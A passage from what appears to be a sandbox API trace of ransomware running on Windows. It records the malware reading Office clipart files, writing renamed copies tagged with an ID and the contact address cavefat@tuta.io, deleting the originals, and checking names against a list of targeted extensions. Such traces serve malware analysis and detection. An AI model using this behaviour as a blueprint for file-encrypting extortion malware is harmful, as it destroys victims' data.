hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.029] GetLastError () returned 0x0 [0237.029] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x2988, lpOverlapped=0x0) returned 1 [0237.031] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x2990, lpOverlapped=0x0) returned 1 [0237.031] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.032] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.032] SetEndOfFile (hFile=0x4a4) returned 1 [0237.032] CloseHandle (hObject=0x4a4) returned 1 [0237.032] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.032] SetEndOfFile (hFile=0x4c0) returned 1 [0237.034] CloseHandle (hObject=0x4c0) returned 1 [0237.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0237.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.035] lstrlenW (lpString=".doc") returned 4 [0237.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.035] lstrlenW (lpString=".docx") returned 5 [0237.035] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0237.035] lstrlenW (lpString=".pdf") returned 4 [0237.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.035] lstrlenW (lpString=".xls") returned 4 [0237.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.035] lstrlenW (lpString=".xlsx") returned 5 [0237.036] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0237.036] lstrlenW (lpString=".ppt") returned 4 [0237.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".zip") returned 4 [0237.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.036] lstrlenW (lpString=".rar") returned 4 [0237.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString=".bz2") returned 4 [0237.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString=".7z") returned 3 [0237.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".dbf") returned 4 [0237.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".1cd") returned 4 [0237.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".jpg") returned 4 [0237.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".doc") returned 4 [0237.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString=".docx") returned 5 [0237.036] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0237.036] lstrlenW (lpString=".pdf") returned 4 [0237.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString=".xls") returned 4 [0237.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.036] lstrlenW (lpString=".xlsx") returned 5 [0237.036] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0237.036] lstrlenW (lpString=".ppt") returned 4 [0237.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".zip") returned 4 [0237.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.036] lstrlenW (lpString=".rar") returned 4 [0237.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString=".bz2") returned 4 [0237.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.036] lstrlenW (lpString=".7z") returned 3 [0237.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.036] lstrlenW (lpString=".dbf") returned 4 [0237.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.037] lstrlenW (lpString=".1cd") returned 4 [0237.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0237.037] lstrlenW (lpString=".jpg") returned 4 [0237.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.037] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.037] lstrlenW (lpString="J0151067.WMF") returned 12 [0237.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.037] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=13204) returned 1 [0237.037] CloseHandle (hObject=0x4c0) returned 1 [0237.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220 [0237.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.038] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.038] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.039] GetLastError () returned 0x0 [0237.039] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3394, lpOverlapped=0x0) returned 1 [0237.041] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x33a0, lpOverlapped=0x0) returned 1 [0237.042] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.042] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.042] SetEndOfFile (hFile=0x4a4) returned 1 [0237.042] CloseHandle (hObject=0x4a4) returned 1 [0237.042] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.042] SetEndOfFile (hFile=0x4c0) returned 1 [0237.044] CloseHandle (hObject=0x4c0) returned 1 [0237.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0237.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.045] lstrlenW (lpString=".doc") returned 4 [0237.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.045] lstrlenW (lpString=".docx") returned 5 [0237.046] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0237.046] lstrlenW (lpString=".pdf") returned 4 [0237.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".xls") returned 4 [0237.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.046] lstrlenW (lpString=".xlsx") returned 5 [0237.046] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0237.046] lstrlenW (lpString=".ppt") returned 4 [0237.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString=".zip") returned 4 [0237.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.046] lstrlenW (lpString=".rar") returned 4 [0237.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".bz2") returned 4 [0237.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".7z") returned 3 [0237.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString=".dbf") returned 4 [0237.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString=".1cd") returned 4 [0237.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString=".jpg") returned 4 [0237.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString=".doc") returned 4 [0237.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".docx") returned 5 [0237.046] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0237.046] lstrlenW (lpString=".pdf") returned 4 [0237.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".xls") returned 4 [0237.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.046] lstrlenW (lpString=".xlsx") returned 5 [0237.046] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0237.046] lstrlenW (lpString=".ppt") returned 4 [0237.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.046] lstrlenW (lpString=".zip") returned 4 [0237.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.046] lstrlenW (lpString=".rar") returned 4 [0237.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".bz2") returned 4 [0237.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.046] lstrlenW (lpString=".7z") returned 3 [0237.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.047] lstrlenW (lpString=".dbf") returned 4 [0237.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.047] lstrlenW (lpString=".1cd") returned 4 [0237.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0237.047] lstrlenW (lpString=".jpg") returned 4 [0237.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.047] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.047] lstrlenW (lpString="J0151073.WMF") returned 12 [0237.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.047] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=13336) returned 1 [0237.047] CloseHandle (hObject=0x4c0) returned 1 [0237.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 0x220 [0237.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.048] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.048] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.049] GetLastError () returned 0x0 [0237.049] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3418, lpOverlapped=0x0) returned 1 [0237.051] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3420, lpOverlapped=0x0) returned 1 [0237.052] ReadFile (in: hFile=0x4c0, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.261] WriteFile (in: hFile=0x4a4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.261] SetEndOfFile (hFile=0x4a4) returned 1 [0237.261] CloseHandle (hObject=0x4a4) returned 1 [0237.261] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.261] SetEndOfFile (hFile=0x4c0) returned 1 [0237.264] CloseHandle (hObject=0x4c0) returned 1 [0237.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0237.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.265] lstrlenW (lpString=".doc") returned 4 [0237.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.265] lstrlenW (lpString=".docx") returned 5 [0237.265] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0237.265] lstrlenW (lpString=".pdf") returned 4 [0237.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.265] lstrlenW (lpString=".xls") returned 4 [0237.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.265] lstrlenW (lpString=".xlsx") returned 5 [0237.265] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0237.265] lstrlenW (lpString=".ppt") returned 4 [0237.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.265] lstrlenW (lpString=".zip") returned 4 [0237.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.266] lstrlenW (lpString=".rar") returned 4 [0237.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString=".bz2") returned 4 [0237.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString=".7z") returned 3 [0237.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".dbf") returned 4 [0237.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".1cd") returned 4 [0237.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".jpg") returned 4 [0237.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".doc") returned 4 [0237.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString=".docx") returned 5 [0237.266] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0237.266] lstrlenW (lpString=".pdf") returned 4 [0237.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString=".xls") returned 4 [0237.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.266] lstrlenW (lpString=".xlsx") returned 5 [0237.266] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0237.266] lstrlenW (lpString=".ppt") returned 4 [0237.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".zip") returned 4 [0237.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.266] lstrlenW (lpString=".rar") returned 4 [0237.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString=".bz2") returned 4 [0237.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString=".7z") returned 3 [0237.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".dbf") returned 4 [0237.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".1cd") returned 4 [0237.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF") returned 68 [0237.266] lstrlenW (lpString=".jpg") returned 4 [0237.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.267] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.267] lstrlenW (lpString="J0152570.WMF") returned 12 [0237.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.267] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3368) returned 1 [0237.267] CloseHandle (hObject=0x4c0) returned 1 [0237.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220 [0237.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0237.268] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.268] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 